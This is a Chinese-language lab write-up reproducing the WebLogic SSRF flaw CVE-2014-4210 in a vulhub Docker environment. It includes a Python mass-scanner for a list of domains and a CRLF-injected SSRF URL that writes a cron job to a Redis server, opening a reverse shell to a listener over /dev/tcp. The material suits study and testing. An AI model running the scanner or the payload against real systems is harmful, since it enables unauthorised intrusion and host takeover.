Weblogic SSRF漏洞(CVE-2014-4210)漏洞复现

漏洞概述:

    服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

    SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

SSRF用途:

1.内外网的端口和服务扫描。2.主机本地敏感数据的读取。3.内外网主机应用程序漏洞的利用。4.内外网web站点漏洞的利用

影响版本:

weblogic 10.0.2 -- 10.3.6.0

漏洞环境:

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

Docker-compose build

Docker-compose up -d

复现过程:

1.漏洞位置。漏洞位置在uddiexplorer下的SearchPublicRegistries.jsp处。

漏洞位置

2.检测是否存在SSRF

2.1可直接

?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

出现404说明是存在漏洞的。

2.2用burp抓包查看

测试是否存在SSRF漏洞,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的7001端口,发现返回如下信息:说明开放7001端口

存在端口报错

访问不存在的端口看下,不能找到该服务,说明不存在该端口。

不存在端口报错

2.3也可自动检测:

poc:

#!/usr/bin/env python

# -*- coding: utf-8 -*-

import re

import sys

import Queue

import requests

import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()

mutex = threading.Lock()

class Test(threading.Thread):

    def __init__(self, queue):

        threading.Thread.__init__(self)

        self.queue = queue

    def check(self,domain,ip):

        payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)

        url = domain + payload

        try:

            html = requests.get(url=url, timeout=15, verify=False).content

            m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)

            if m:

                mutex.acquire()

                with open('ssrf1.txt','a+') as f:

                    print "%s has weblogic ssrf." % domain

                    f.write("%s has weblogic ssrf." % domain)

                mutex.release()

        except Exception,e:

            print e

    def get_registry(self,domain):

        payload = 'uddiexplorer/SetupUDDIExplorer.jsp'

        url = domain + payload

        try:

            html = requests.get(url=url, timeout=15, verify=False).content

            m = re.search('For example: (.*?)/uddi/uddilistener.*?',html)

            if m:

                return m.group(1)

        except Exception,e:

            print e

    def run(self):

        while not self.queue.empty():

            domain = self.queue.get()

            mutex.acquire()

            print domain

            mutex.release()

            ip = self.get_registry(domain)

            self.check(domain,ip)

            self.queue.task_done()

if __name__ == '__main__':

    with open('domain.txt','r') as f:

        lines = f.readlines()

    for line in lines:

        queue.put(line.strip())

    for x in xrange(1,50):

        t = Test(queue)

        t.setDaemon(True)

        t.start()

    queue.join()

自动检测

通过上面的测试,可以发现目标存在SSRF漏洞。

3.注入HTTP头,利用Redis反弹shell

这里要提下:Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。

(1)主要发送3条redis的命令,将反弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.20.0.2/5555 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

(2)先通过前面方法探测内网开放6379端口,最后探测到172.20.0.2:6379开放

operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.128%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

#192.168.220.128:5555 监听地址。

#172.20.0.2:6379 内网探测的redis地址及端口。

出现已经写入

getshell

反弹shell

漏洞修复:

    升级高版本。

参考链接:

https://www.cnblogs.com/yuzly/archive/2019/05/23/10903398.html

你可能感兴趣的:(Weblogic SSRF漏洞(CVE-2014-4210)漏洞复现)